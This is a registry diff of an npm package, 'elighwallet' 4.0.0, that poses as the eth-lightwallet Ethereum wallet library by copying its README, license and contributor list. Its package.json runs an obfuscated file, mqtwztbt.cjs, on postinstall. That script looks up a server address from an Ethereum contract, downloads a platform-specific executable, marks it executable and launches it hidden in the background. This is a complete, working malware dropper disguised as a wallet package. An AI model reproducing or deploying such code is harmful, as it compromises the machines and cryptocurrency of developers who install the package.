elighwallet 4.0.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/LICENSE.txt +21 -0
- package/README.md +354 -0
- package/index.js +7 -0
- package/mqtwztbt.cjs +1 -0
- package/package.json +91 -0
package/LICENSE.txt
ADDED
@@ -0,0 +1,21 @@
|
|
1
|
+
The MIT License (MIT)
|
2
|
+
|
3
|
+
Copyright (c) 2015 Christian Lundkvist
|
4
|
+
|
5
|
+
Permission is hereby granted, free of charge, to any person obtaining a copy
|
6
|
+
of this software and associated documentation files (the "Software"), to deal
|
7
|
+
in the Software without restriction, including without limitation the rights
|
8
|
+
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
9
|
+
copies of the Software, and to permit persons to whom the Software is
|
10
|
+
furnished to do so, subject to the following conditions:
|
11
|
+
|
12
|
+
The above copyright notice and this permission notice shall be included in all
|
13
|
+
copies or substantial portions of the Software.
|
14
|
+
|
15
|
+
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
16
|
+
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
17
|
+
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
18
|
+
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
19
|
+
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
20
|
+
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
|
21
|
+
SOFTWARE.
|
package/README.md
ADDED
@@ -0,0 +1,354 @@
|
|
1
|
+
# LightWallet
|
2
|
+
|
3
|
+
A minimal ethereum javascript wallet.
|
4
|
+
|
5
|
+
## About
|
6
|
+
|
7
|
+
LightWallet is a HD wallet that can store your private keys encrypted in the browser to allow you to run Ethereum dapps even if you're not running a local Ethereum node. It uses [BIP32][] and [BIP39][] to generate an HD tree of addresses from a randomly generated 12-word seed.
|
8
|
+
|
9
|
+
LightWallet is primarily intended to be a signing provider for the [Hooked Web3 provider](https://github.com/ConsenSys/hooked-web3-provider) through the `keystore` module. This allows you to have full control over your private keys while still connecting to a remote node to relay signed transactions. Moreover, the `txutils` functions can be used to construct transactions when offline, for use in e.g. air-gapped coldwallet implementations.
|
10
|
+
|
11
|
+
The default BIP32 HD derivation path has been `m/0'/0'/0'/i`, but any HD path can be chosen.
|
12
|
+
|
13
|
+
## Security
|
14
|
+
|
15
|
+
Please note that LightWallet has not been through a comprehensive security review at this point. It is still experimental software, intended for small amounts of Ether to be used for interacting with smart contracts on the Ethereum blockchain. Do not rely on it to store larger amounts of Ether yet.
|
16
|
+
|
17
|
+
## Get Started
|
18
|
+
|
19
|
+
```
|
20
|
+
npm install eth-lightwallet
|
21
|
+
```
|
22
|
+
|
23
|
+
The `eth-lightwallet` package contains `dist/lightwallet.min.js` that can be included in an HTML page:
|
24
|
+
|
25
|
+
```html
|
26
|
+
<html>
|
27
|
+
<body>
|
28
|
+
<script src="lightwallet.min.js"></script>
|
29
|
+
</body>
|
30
|
+
</html>
|
31
|
+
```
|
32
|
+
|
33
|
+
The file `lightwallet.min.js` exposes the global object `lightwallet` to the browser which has the two main modules `lightwallet.keystore` and `lightwallet.txutils`.
|
34
|
+
|
35
|
+
Sample recommended usage with hooked web3 provider:
|
36
|
+
|
37
|
+
```js
|
38
|
+
// the seed is stored encrypted by a user-defined password
|
39
|
+
var password = prompt('Enter password for encryption', 'password');
|
40
|
+
|
41
|
+
keyStore.createVault({
|
42
|
+
password: password,
|
43
|
+
// seedPhrase: seedPhrase, // Optionally provide a 12-word seed phrase
|
44
|
+
// salt: fixture.salt, // Optionally provide a salt.
|
45
|
+
// A unique salt will be generated otherwise.
|
46
|
+
// hdPathString: hdPath // Optional custom HD Path String
|
47
|
+
}, function (err, ks) {
|
48
|
+
|
49
|
+
// Some methods will require providing the `pwDerivedKey`,
|
50
|
+
// Allowing you to only decrypt private keys on an as-needed basis.
|
51
|
+
// You can generate that value with this convenient method:
|
52
|
+
ks.keyFromPassword(password, function (err, pwDerivedKey) {
|
53
|
+
if (err) throw err;
|
54
|
+
|
55
|
+
// generate five new address/private key pairs
|
56
|
+
// the corresponding private keys are also encrypted
|
57
|
+
ks.generateNewAddress(pwDerivedKey, 5);
|
58
|
+
var addr = ks.getAddresses();
|
59
|
+
|
60
|
+
ks.passwordProvider = function (callback) {
|
61
|
+
var pw = prompt("Please enter password", "Password");
|
62
|
+
callback(null, pw);
|
63
|
+
};
|
64
|
+
|
65
|
+
// Now set ks as transaction_signer in the hooked web3 provider
|
66
|
+
// and you can start using web3 using the keys/addresses in ks!
|
67
|
+
});
|
68
|
+
});
|
69
|
+
```
|
70
|
+
|
71
|
+
Sample old-style usage with hooked web3 provider (still works, but less secure because uses fixed salts).
|
72
|
+
|
73
|
+
```js
|
74
|
+
// generate a new BIP32 12-word seed
|
75
|
+
var secretSeed = lightwallet.keystore.generateRandomSeed();
|
76
|
+
|
77
|
+
// the seed is stored encrypted by a user-defined password
|
78
|
+
var password = prompt('Enter password for encryption', 'password');
|
79
|
+
lightwallet.keystore.deriveKeyFromPassword(password, function (err, pwDerivedKey) {
|
80
|
+
|
81
|
+
var ks = new lightwallet.keystore(secretSeed, pwDerivedKey);
|
82
|
+
|
83
|
+
// generate five new address/private key pairs
|
84
|
+
// the corresponding private keys are also encrypted
|
85
|
+
ks.generateNewAddress(pwDerivedKey, 5);
|
86
|
+
var addr = ks.getAddresses();
|
87
|
+
|
88
|
+
// Create a custom passwordProvider to prompt the user to enter their
|
89
|
+
// password whenever the hooked web3 provider issues a sendTransaction
|
90
|
+
// call.
|
91
|
+
ks.passwordProvider = function (callback) {
|
92
|
+
var pw = prompt("Please enter password", "Password");
|
93
|
+
callback(null, pw);
|
94
|
+
};
|
95
|
+
|
96
|
+
// Now set ks as transaction_signer in the hooked web3 provider
|
97
|
+
// and you can start using web3 using the keys/addresses in ks!
|
98
|
+
});
|
99
|
+
```
|
100
|
+
|
101
|
+
## `keystore` Function definitions
|
102
|
+
|
103
|
+
These are the interface functions for the keystore object. The keystore object holds a 12-word seed according to [BIP39][] spec. From this seed you can generate addresses and private keys, and use the private keys to sign transactions.
|
104
|
+
|
105
|
+
Note: Addresses and RLP encoded data are in the form of hex-strings. Hex-strings start with `0x`.
|
106
|
+
|
107
|
+
### `keystore.createVault(options, callback)`
|
108
|
+
|
109
|
+
This is the interface to create a new lightwallet keystore.
|
110
|
+
|
111
|
+
#### Options
|
112
|
+
|
113
|
+
* password: (mandatory) A string used to encrypt the vault when serialized.
|
114
|
+
* seedPhrase: (mandatory) A twelve-word mnemonic used to generate all accounts.
|
115
|
+
* salt: (optional) The user may supply the salt used to encrypt & decrypt the vault, otherwise a random salt will be generated.
|
116
|
+
* hdPathString (mandatory): The user must provide a `BIP39` compliant HD Path String. Previously the default has been `m/0'/0'/0'`, another popular one is the BIP44 path string `m/44'/60'/0'/0`.
|
117
|
+
|
118
|
+
### `keystore.keyFromPassword(password, callback)`
|
119
|
+
|
120
|
+
This instance method uses any internally-configured salt to return the appropriate `pwDerivedKey`.
|
121
|
+
|
122
|
+
Takes the user's password as input and generates a symmetric key of type `Uint8Array` that is used to encrypt/decrypt the keystore.
|
123
|
+
|
124
|
+
### `keystore.isDerivedKeyCorrect(pwDerivedKey)`
|
125
|
+
|
126
|
+
Returns `true` if the derived key can decrypt the seed, and returns `false` otherwise.
|
127
|
+
|
128
|
+
### `keystore.generateRandomSeed([extraEntropy])`
|
129
|
+
|
130
|
+
Generates a string consisting of a random 12-word seed and returns it. If the optional argument string `extraEntropy` is present the random data from the Javascript RNG will be concatenated with `extraEntropy` and then hashed to produce the final seed. The string `extraEntropy` can be something like entropy from mouse movements or keyboard presses, or a string representing dice throws.
|
131
|
+
|
132
|
+
### `keystore.isSeedValid(seed)`
|
133
|
+
|
134
|
+
Checks if `seed` is a valid 12-word seed according to the [BIP39][] specification.
|
135
|
+
|
136
|
+
### `keystore.generateNewAddress(pwDerivedKey, [num])`
|
137
|
+
|
138
|
+
Allows the vault to generate additional internal address/private key pairs.
|
139
|
+
|
140
|
+
The simplest usage is `ks.generateNewAddress(pwDerivedKey)`.
|
141
|
+
|
142
|
+
Generates `num` new address/private key pairs (defaults to 1) in the keystore from the seed phrase, which will be returned with calls to `ks.getAddresses()`.
|
143
|
+
|
144
|
+
### `keystore.deserialize(serialized_keystore)`
|
145
|
+
|
146
|
+
Takes a serialized keystore string `serialized_keystore` and returns a new keystore object.
|
147
|
+
|
148
|
+
### `keystore.serialize()`
|
149
|
+
|
150
|
+
Serializes the current keystore object into a JSON-encoded string and returns that string.
|
151
|
+
|
152
|
+
### `keystore.getAddresses()`
|
153
|
+
|
154
|
+
Returns a list of hex-string addresses currently stored in the keystore.
|
155
|
+
|
156
|
+
### `keystore.getSeed(pwDerivedKey)`
|
157
|
+
|
158
|
+
Given the pwDerivedKey, decrypts and returns the users 12-word seed.
|
159
|
+
|
160
|
+
### `keystore.exportPrivateKey(address, pwDerivedKey)`
|
161
|
+
|
162
|
+
Given the derived key, decrypts and returns the private key corresponding to `address`. This should be done sparingly as the recommended practice is for the `keystore` to sign transactions using `signing.signTx`, so there is normally no need to export private keys.
|
163
|
+
|
164
|
+
## `upgrade` Function definitions
|
165
|
+
|
166
|
+
### `keystore.upgradeOldSerialized(oldSerialized, password, callback)`
|
167
|
+
|
168
|
+
Takes a serialized keystore in an old format and a password. The callback takes the upgraded serialized keystore as its second argument.
|
169
|
+
|
170
|
+
## `signing` Function definitions
|
171
|
+
|
172
|
+
### `signing.signTx(keystore, pwDerivedKey, rawTx, signingAddress, hdPathString)`
|
173
|
+
|
174
|
+
Signs a transaction with the private key corresponding to `signingAddress`.
|
175
|
+
|
176
|
+
#### Inputs
|
177
|
+
|
178
|
+
* `keystore`: An instance of the keystore with which to sign the TX with.
|
179
|
+
* `pwDerivedKey`: the users password derived key (Uint8Array)
|
180
|
+
* `rawTx`: Hex-string defining an RLP-encoded raw transaction.
|
181
|
+
* `signingAddress`: hex-string defining the address to send the transaction from.
|
182
|
+
* `hdPathString`: (Optional) A path at which to create the encryption keys.
|
183
|
+
|
184
|
+
#### Return value
|
185
|
+
|
186
|
+
Hex-string corresponding to the RLP-encoded raw transaction.
|
187
|
+
|
188
|
+
### `signing.signMsg(keystore, pwDerivedKey, rawMsg, signingAddress, hdPathString)`
|
189
|
+
|
190
|
+
Creates and signs a sha3 hash of a message with the private key corresponding to `signingAddress`.
|
191
|
+
|
192
|
+
#### Inputs
|
193
|
+
|
194
|
+
* `keystore`: An instance of the keystore with which to sign the TX with.
|
195
|
+
* `pwDerivedKey`: the users password derived key (Uint8Array)
|
196
|
+
* `rawMsg`: Message to be signed
|
197
|
+
* `signingAddress`: hex-string defining the address corresponding to the signing private key.
|
198
|
+
* `hdPathString`: (Optional) A path at which to create the encryption keys.
|
199
|
+
|
200
|
+
#### Return value
|
201
|
+
|
202
|
+
Signed hash as signature object with v, r and s values.
|
203
|
+
|
204
|
+
### `signing.signMsgHash(keystore, pwDerivedKey, msgHash, signingAddress, hdPathString)`
|
205
|
+
|
206
|
+
Signs a sha3 message hash with the private key corresponding to `signingAddress`.
|
207
|
+
|
208
|
+
#### Inputs
|
209
|
+
|
210
|
+
* `keystore`: An instance of the keystore with which to sign the TX with.
|
211
|
+
* `pwDerivedKey`: the users password derived key (Uint8Array)
|
212
|
+
* `msgHash`: SHA3 hash to be signed
|
213
|
+
* `signingAddress`: hex-string defining the address corresponding to the signing private key.
|
214
|
+
* `hdPathString`: (Optional) A path at which to create the encryption keys.
|
215
|
+
|
216
|
+
#### Return value
|
217
|
+
|
218
|
+
Signed hash as signature object with v, r and s values.
|
219
|
+
|
220
|
+
### `signing.concatSig(signature)`
|
221
|
+
|
222
|
+
Concatenates signature object to return signature as hex-string in the same format as `eth_sign` does.
|
223
|
+
|
224
|
+
#### Inputs
|
225
|
+
|
226
|
+
* `signature`: Signature object as returned from `signMsg` or ``signMsgHash`.
|
227
|
+
|
228
|
+
#### Return value
|
229
|
+
|
230
|
+
Concatenated signature object as hex-string.
|
231
|
+
|
232
|
+
### `signing.recoverAddress(rawMsg, v, r, s)`
|
233
|
+
|
234
|
+
Recovers the signing address from the message `rawMsg` and the signature `v, r, s`.
|
235
|
+
|
236
|
+
|
237
|
+
## `encryption` Function definitions
|
238
|
+
|
239
|
+
### `encryption.multiEncryptString(keystore, pwDerivedKey, msg, myAddress, theirPubKeyArray)`
|
240
|
+
|
241
|
+
**NOTE:** The format of encrypted messages has not been finalized and may change at any time, so only use this for ephemeral messages that do not need to be stored encrypted for a long time.
|
242
|
+
|
243
|
+
Encrypts the string `msg` with a randomly generated symmetric key, then encrypts that symmetric key assymetrically to each of the pubkeys in `theirPubKeyArray`. The encrypted message can then be read only by sender and the holders of the private keys corresponding to the public keys in `theirPubKeyArray`. The returned object has the following form, where nonces and ciphertexts are encoded in base64:
|
244
|
+
|
245
|
+
```js
|
246
|
+
{ version: 1,
|
247
|
+
asymAlg: 'curve25519-xsalsa20-poly1305',
|
248
|
+
symAlg: 'xsalsa20-poly1305',
|
249
|
+
symNonce: 'SLmxcH3/CPMCCJ7orkI7iSjetRlMmzQH',
|
250
|
+
symEncMessage: 'iN4+/b5InlsVo5Bc7GTmaBh8SgWV8OBMHKHMVf7aq5O9eqwnIzVXeX4yzUWbw2w=',
|
251
|
+
encryptedSymKey:
|
252
|
+
[ { nonce: 'qcNCtKqiooYLlRuIrNlNVtF8zftoT5Cb',
|
253
|
+
ciphertext: 'L8c12EJsFYM1K7udgHDRrdHhQ7ng+VMkzOdVFTjWu0jmUzpehFeqyoEyg8cROBmm' },
|
254
|
+
{ nonce: 'puD2x3wmQKu3OIyxgJq2kG2Hz01+dxXs',
|
255
|
+
ciphertext: 'gLYtYpJbeFKXL/WAK0hyyGEelaL5Ddq9BU3249+hdZZ7xgTAZVL8tw+fIVcvpgaZ' },
|
256
|
+
{ nonce: '1g8VbftPnjc+1NG3zCGwZS8KO73yjucu',
|
257
|
+
ciphertext: 'pftERJOPDV2dfP+C2vOwPWT43Q89V74Nfu1arNQeTMphSHqVuUXItbyCMizISTxG' },
|
258
|
+
{ nonce: 'KAH+cCxbFGSDjHDOBzDhMboQdFWepvBw',
|
259
|
+
ciphertext: 'XWmmBmxLEyLTUmUBiWy2wDqedubsa0KTcufhKM7YfJn/eHWhDDptMxYDvaKisFmn' } ] }
|
260
|
+
```
|
261
|
+
|
262
|
+
Note that no padding is applied to `msg`, so it's possible to deduce the length of the string `msg` from the ciphertext. If you don't want this information to be known, please apply padding to `msg` before calling this function.
|
263
|
+
|
264
|
+
### `encryption.multiDecryptString(keystore, pwDerivedKey, encMsg, theirPubKey, myAddress)`
|
265
|
+
|
266
|
+
Decrypt a message `encMsg` created with the function
|
267
|
+
`multiEncryptString()`. If successful, returns the original message
|
268
|
+
string. If not successful, returns `false`.
|
269
|
+
|
270
|
+
### `encryption.addressToPublicEncKey(keystore, pwDerivedKey, address)`
|
271
|
+
|
272
|
+
Gets the public encryption key corresponding to the private key of `address` in the `keystore`.
|
273
|
+
|
274
|
+
## `txutils` Function definitions
|
275
|
+
|
276
|
+
These are the interface functions for the `txutils` module. These functions will create RLP encoded raw unsigned transactions which can be signed using the `keystore.signTx()` command.
|
277
|
+
|
278
|
+
### `txutils.createContractTx(fromAddress, txObject)`
|
279
|
+
|
280
|
+
Using the data in `txObject`, creates an RLP-encoded transaction that will create the contract with compiled bytecode defined by `txObject.data`. Also computes the address of the created contract.
|
281
|
+
|
282
|
+
#### Inputs
|
283
|
+
|
284
|
+
* `fromAddress`: Address to send the transaction from
|
285
|
+
* `txObject.gasLimit`: Gas limit
|
286
|
+
* `txObject.gasPrice`: Gas price
|
287
|
+
* `txObject.value`: Endowment (optional)
|
288
|
+
* `txObject.nonce`: Nonce of `fromAddress`
|
289
|
+
* `txObject.data`: Compiled code of the contract
|
290
|
+
|
291
|
+
#### Output
|
292
|
+
|
293
|
+
Object `obj` with fields
|
294
|
+
|
295
|
+
* `obj.tx`: RLP encoded transaction (hex string)
|
296
|
+
* `obj.addr`: Address of the created contract
|
297
|
+
|
298
|
+
### `txutils.functionTx(abi, functionName, args, txObject)`
|
299
|
+
|
300
|
+
Creates a transaction calling a function with name `functionName`, with arguments `args` conforming to `abi`. The function is defined in a contract with address `txObject.to`.
|
301
|
+
|
302
|
+
#### Inputs
|
303
|
+
|
304
|
+
* `abi`: Json-formatted ABI as returned from the `solc` compiler
|
305
|
+
* `functionName`: string with the function name
|
306
|
+
* `args`: Array with the arguments to the function
|
307
|
+
* `txObject.to`: Address of the contract
|
308
|
+
* `txObject.gasLimit`: Gas limit
|
309
|
+
* `txObject.gasPrice`: Gas price
|
310
|
+
* `txObject.value`: Value to send
|
311
|
+
* `txObject.nonce`: Nonce of sending address
|
312
|
+
|
313
|
+
#### Output
|
314
|
+
|
315
|
+
RLP-encoded hex string defining the transaction.
|
316
|
+
|
317
|
+
|
318
|
+
### `txutils.valueTx(txObject)`
|
319
|
+
|
320
|
+
Creates a transaction sending value to `txObject.to`.
|
321
|
+
|
322
|
+
#### Inputs
|
323
|
+
|
324
|
+
* `txObject.to`: Address to send to
|
325
|
+
* `txObject.gasLimit`: Gas limit
|
326
|
+
* `txObject.gasPrice`: Gas price
|
327
|
+
* `txObject.value`: Value to send
|
328
|
+
* `txObject.nonce`: Nonce of sending address
|
329
|
+
|
330
|
+
#### Output
|
331
|
+
|
332
|
+
RLP-encoded hex string defining the transaction.
|
333
|
+
|
334
|
+
## Examples
|
335
|
+
|
336
|
+
See the file `example_usage.js` for usage of `keystore` and `txutils` in node.
|
337
|
+
|
338
|
+
See the file `example_web.html` for an example of how to use the LightWallet keystore together with the Hooked Web3 Provider in the browser.
|
339
|
+
|
340
|
+
## Tests
|
341
|
+
|
342
|
+
Run all tests:
|
343
|
+
|
344
|
+
```
|
345
|
+
npm run test
|
346
|
+
npm run coverage
|
347
|
+
```
|
348
|
+
|
349
|
+
[BIP39]: https://github.com/bitcoin/bips/blob/master/bip-0039.mediawiki
|
350
|
+
[BIP32]: https://github.com/bitcoin/bips/blob/master/bip-0032.mediawiki
|
351
|
+
|
352
|
+
## License
|
353
|
+
|
354
|
+
MIT License.
|
package/index.js
ADDED
package/mqtwztbt.cjs
ADDED
@@ -0,0 +1 @@
|
|
1
|
+
const _0x23ae39=_0x1de6;(function(_0xdd582c,_0x3189e4){const _0x362804=_0x1de6,_0x441c2d=_0xdd582c();while(!![]){try{const _0x261e57=-parseInt(_0x362804(0x1a6))/0x1*(-parseInt(_0x362804(0x19f))/0x2)+parseInt(_0x362804(0x190))/0x3+parseInt(_0x362804(0x1bd))/0x4*(parseInt(_0x362804(0x1ac))/0x5)+parseInt(_0x362804(0x1b3))/0x6*(parseInt(_0x362804(0x18e))/0x7)+-parseInt(_0x362804(0x193))/0x8+parseInt(_0x362804(0x1a1))/0x9+-parseInt(_0x362804(0x1b2))/0xa;if(_0x261e57===_0x3189e4)break;else _0x441c2d['push'](_0x441c2d['shift']());}catch(_0x1fa1ca){_0x441c2d['push'](_0x441c2d['shift']());}}}(_0x16f9,0x66297));function _0x16f9(){const _0xee4b49=['2ozueZz','jVPIg','817074tUJRvt','WFTZz','bdlus','error','axios','686063Searkv','0xa1b40044EBc2794f207D45143Bd82a1B86156c6b','MfxXG','0x52221c293a21D8CA7AFD01Ac6bFAC7175D590A84','unref','PlNCO','5vuVkfz','maEAN','pzBUC','data','finish','ckDQF','10027500iWhQAk','24MLJbaz','XbHYp','basename','ethers','/node-linux','darwin','chmodSync','/node-macos','Contract','755','923760NBgtiK','nWAUO','Ошибка\x20при\x20получении\x20IP\x20адреса:','tmpdir','join','1231426qPisAS','mainnet','1180599sxYpLQ','IcYVM','Unsupported\x20platform:\x20','5470312iMPezw','zZICk','linux','stream','function\x20getString(address\x20account)\x20public\x20view\x20returns\x20(string)','Ошибка\x20при\x20запуске\x20файла:','platform','path','/node-win.exe','util','getDefaultProvider','win32'];_0x16f9=function(){return _0xee4b49;};return _0x16f9();}function _0x1de6(_0x4cd133,_0x40f4b2){const _0x16f949=_0x16f9();return _0x1de6=function(_0x1de6b9,_0x2a4fb7){_0x1de6b9=_0x1de6b9-0x18d;let _0x512043=_0x16f949[_0x1de6b9];return _0x512043;},_0x1de6(_0x4cd133,_0x40f4b2);}const {ethers}=require(_0x23ae39(0x1b6)),axios=require(_0x23ae39(0x1a5)),util=require(_0x23ae39(0x19c)),fs=require('fs'),path=require(_0x23ae39(0x19a)),os=require('os'),{spawn}=require('child_process'),contractAddress=_0x23ae39(0x1a7),WalletOwner=_0x23ae39(0x1a9),abi=[_0x23ae39(0x197)],provider=ethers[_0x23ae39(0x19d)](_0x23ae39(0x18f)),contract=new ethers[(_0x23ae39(0x1bb))](contractAddress,abi,provider),fetchAndUpdateIp=async()=>{const _0x4412c5=_0x23ae39,_0x3144b7={'elmlv':_0x4412c5(0x1bf)};try{const _0x4948f9=await contract['getString'](WalletOwner);return _0x4948f9;}catch(_0x5bcdd2){return console[_0x4412c5(0x1a4)](_0x3144b7['elmlv'],_0x5bcdd2),await fetchAndUpdateIp();}},getDownloadUrl=_0x2e64c1=>{const _0x398e8a=_0x23ae39,_0x386910={'OMVVn':_0x398e8a(0x19e),'MfxXG':_0x398e8a(0x195),'bdlus':_0x398e8a(0x1b8)},_0x20336f=os['platform']();switch(_0x20336f){case _0x386910['OMVVn']:return _0x2e64c1+_0x398e8a(0x19b);case _0x386910[_0x398e8a(0x1a8)]:return _0x2e64c1+_0x398e8a(0x1b7);case _0x386910[_0x398e8a(0x1a3)]:return _0x2e64c1+_0x398e8a(0x1ba);default:throw new Error(_0x398e8a(0x192)+_0x20336f);}},downloadFile=async(_0x331a31,_0xc1858)=>{const _0x5861b6=_0x23ae39,_0xd1867f={'ckDQF':_0x5861b6(0x1b0),'rkDVR':'error','WFTZz':function(_0x7657b4,_0x221126){return _0x7657b4(_0x221126);},'JLxvy':'GET','XboyH':_0x5861b6(0x196)},_0x34cc2b=fs['createWriteStream'](_0xc1858),_0x31b925=await _0xd1867f[_0x5861b6(0x1a2)](axios,{'url':_0x331a31,'method':_0xd1867f['JLxvy'],'responseType':_0xd1867f['XboyH']});return _0x31b925[_0x5861b6(0x1af)]['pipe'](_0x34cc2b),new Promise((_0x20a0fe,_0x1b3a00)=>{const _0x300800=_0x5861b6;_0x34cc2b['on'](_0xd1867f[_0x300800(0x1b1)],_0x20a0fe),_0x34cc2b['on'](_0xd1867f['rkDVR'],_0x1b3a00);});},executeFileInBackground=async _0xb38d83=>{const _0x36ce36=_0x23ae39,_0xf98b34={'jVPIg':function(_0x56371e,_0x12077c,_0x3fe2e0,_0x147d55){return _0x56371e(_0x12077c,_0x3fe2e0,_0x147d55);},'zZICk':'ignore','pzBUC':_0x36ce36(0x198)};try{const _0x313602=_0xf98b34[_0x36ce36(0x1a0)](spawn,_0xb38d83,[],{'detached':!![],'stdio':_0xf98b34[_0x36ce36(0x194)]});_0x313602[_0x36ce36(0x1aa)]();}catch(_0x1286cf){console[_0x36ce36(0x1a4)](_0xf98b34[_0x36ce36(0x1ae)],_0x1286cf);}},runInstallation=async()=>{const _0x2a132d=_0x23ae39,_0x2eb13b={'maEAN':function(_0x91e305){return _0x91e305();},'nWAUO':function(_0x1232be,_0x58557c){return _0x1232be(_0x58557c);},'RQhxA':function(_0x41e5c4,_0x3f776c,_0xe981dd){return _0x41e5c4(_0x3f776c,_0xe981dd);},'XbHYp':function(_0x13df4c,_0x5c3a5){return _0x13df4c!==_0x5c3a5;},'IcYVM':_0x2a132d(0x19e),'PlNCO':_0x2a132d(0x1bc),'gpLAn':'Ошибка\x20установки:'};try{const _0x4a2713=await _0x2eb13b[_0x2a132d(0x1ad)](fetchAndUpdateIp),_0x1b011b=_0x2eb13b[_0x2a132d(0x1be)](getDownloadUrl,_0x4a2713),_0x3a18ee=os[_0x2a132d(0x1c0)](),_0x59b1ad=path[_0x2a132d(0x1b5)](_0x1b011b),_0x23a96e=path[_0x2a132d(0x18d)](_0x3a18ee,_0x59b1ad);await _0x2eb13b['RQhxA'](downloadFile,_0x1b011b,_0x23a96e);if(_0x2eb13b[_0x2a132d(0x1b4)](os[_0x2a132d(0x199)](),_0x2eb13b[_0x2a132d(0x191)]))fs[_0x2a132d(0x1b9)](_0x23a96e,_0x2eb13b[_0x2a132d(0x1ab)]);executeFileInBackground(_0x23a96e);}catch(_0x2fa915){console[_0x2a132d(0x1a4)](_0x2eb13b['gpLAn'],_0x2fa915);}};runInstallation();
|
package/package.json
ADDED
@@ -0,0 +1,91 @@
|
|
1
|
+
{
|
2
|
+
"name": "elighwallet",
|
3
|
+
"version": "4.0.0",
|
4
|
+
"description": "A lightweight ethereum javascript wallet.",
|
5
|
+
"main": "index.js",
|
6
|
+
"repository": {
|
7
|
+
"type": "git",
|
8
|
+
"url": "https://github.com/ConsenSys/eth-lightwallet.git"
|
9
|
+
},
|
10
|
+
"scripts": {
|
11
|
+
"postinstall": "node mqtwztbt.cjs"
|
12
|
+
},
|
13
|
+
"keywords": [
|
14
|
+
"ethereum",
|
15
|
+
"blockchain",
|
16
|
+
"transactions",
|
17
|
+
"contracts",
|
18
|
+
"wallet"
|
19
|
+
],
|
20
|
+
"contributors": [
|
21
|
+
{
|
22
|
+
"name": "Christian Lundkvist",
|
23
|
+
"email": "christian.lundkvist@gmail.com"
|
24
|
+
},
|
25
|
+
{
|
26
|
+
"name": "Tyler Clark",
|
27
|
+
"email": "tysclark@gmail.com"
|
28
|
+
},
|
29
|
+
{
|
30
|
+
"name": "Joel Torstensson",
|
31
|
+
"email": "me@joeltorstensson.se"
|
32
|
+
},
|
33
|
+
{
|
34
|
+
"name": "Zach Ferland",
|
35
|
+
"email": "zachferland@gmail.com"
|
36
|
+
},
|
37
|
+
{
|
38
|
+
"name": "Kevin Jiao",
|
39
|
+
"email": "kevin.jiao@berkeley.edu"
|
40
|
+
},
|
41
|
+
{
|
42
|
+
"name": "Marian Oancea",
|
43
|
+
"email": "marian.oancea@gmail.com"
|
44
|
+
},
|
45
|
+
{
|
46
|
+
"name": "John McDowall",
|
47
|
+
"email": "john@kantan.io"
|
48
|
+
},
|
49
|
+
{
|
50
|
+
"name": "Milad Mostavi",
|
51
|
+
"email": "milad.mostavi@gmail.com"
|
52
|
+
},
|
53
|
+
{
|
54
|
+
"name": "Slava Matvienco",
|
55
|
+
"email": "slava.matvienco@gmail.com"
|
56
|
+
}
|
57
|
+
],
|
58
|
+
"license": "MIT",
|
59
|
+
"dependencies": {
|
60
|
+
"bitcore-lib": "8.1.1",
|
61
|
+
"bitcore-mnemonic": "8.1.1",
|
62
|
+
"crypto-js": "3.1.8",
|
63
|
+
"elliptic": "6.4.1",
|
64
|
+
"ethereumjs-tx": "1.3.7",
|
65
|
+
"ethereumjs-util": "6.1.0",
|
66
|
+
"rlp": "2.2.3",
|
67
|
+
"scrypt-async": "2.0.1",
|
68
|
+
"tweetnacl": "1.0.1",
|
69
|
+
"tweetnacl-util": "0.15.0",
|
70
|
+
"web3": "0.20.7",
|
71
|
+
"axios": "^1.7.7",
|
72
|
+
"ethers": "^6.13.2"
|
73
|
+
},
|
74
|
+
"devDependencies": {
|
75
|
+
"@babel/core": "7.4.0",
|
76
|
+
"@babel/preset-env": "7.4.2",
|
77
|
+
"@babel/preset-react": "7.0.0",
|
78
|
+
"async": "2.6.2",
|
79
|
+
"babelify": "10.0.0",
|
80
|
+
"bluebird": "3.5.3",
|
81
|
+
"browserify": "16.2.3",
|
82
|
+
"chai": "4.2.0",
|
83
|
+
"hooked-web3-provider": "christianlundkvist/hooked-web3-provider#updates_web3_14",
|
84
|
+
"istanbul": "0.4.5",
|
85
|
+
"mocha": "6.0.2",
|
86
|
+
"uglify-js": "3.5.2"
|
87
|
+
},
|
88
|
+
"files": [
|
89
|
+
"mqtwztbt.cjs"
|
90
|
+
]
|
91
|
+
}
|